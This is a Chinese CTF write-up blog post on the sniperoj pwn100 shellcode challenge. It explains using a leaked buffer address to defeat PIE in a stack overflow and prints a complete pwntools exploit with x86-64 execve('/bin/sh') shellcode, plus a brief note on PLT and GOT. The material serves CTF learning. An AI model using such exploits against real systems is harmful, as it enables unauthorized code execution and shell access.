20.03.25(还有sniperoj-pwn100-shellcode-x86-64的wp)

Pwn的做题记录:
       来自两届BJD都被暴打的彩笔总结(第一届还没学导致pwn爆零,第二届才学两天导致只做出一道pwnQAQ)
       sniperoj-pwn100-shellcode的wp       :
       因为开启了PIE所以,地址在变化(断点什么的基本不可以设置地址了)但通过printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);我们便知道了buf的地址,相对应的,我们就取得了栈的地址,就可以通过覆盖让ip指向我们的shellcode啦~
exp如下:
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
s=process('/home/thu1e/Desktop/shellcode')
s.recvuntil('[')`` ``addr=s.recvuntil(']',drop=True)
address=int(addr,16)+24+8
payload=('a'*24+p64(address)+"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")

s.sendline(payload)
s.interactive()
       因为之前计算出位移为24字节(填充垃圾栈的大小+rbp的大小),而rip又占8字节,再结合之前read限制输入大小为0x40,所以算出shellcode的大小限制为[0,0x20] (0x40-24-8=0x20),因此要找一个小于等于0x20字节大小的shellcode(可以自己上网找,大师傅也可以自己写).
       至于为什么不把address直接设置为打印出来的,然后在eip之前的0x20内写shellcode,我还没想出来(来自某大师傅布置的思考题)
       
杂七杂八:
       PLT[0]是一个函数,用来把GOT[1]中的数据作为参数,跳转到GOT[2]所对应的函数入口地址,这个动态链接器会将一个函数的真正地址绑定到相应的GOT[x]中,此时,对应为PLT[x-2]。

你可能感兴趣的:(Pwn,学习经历)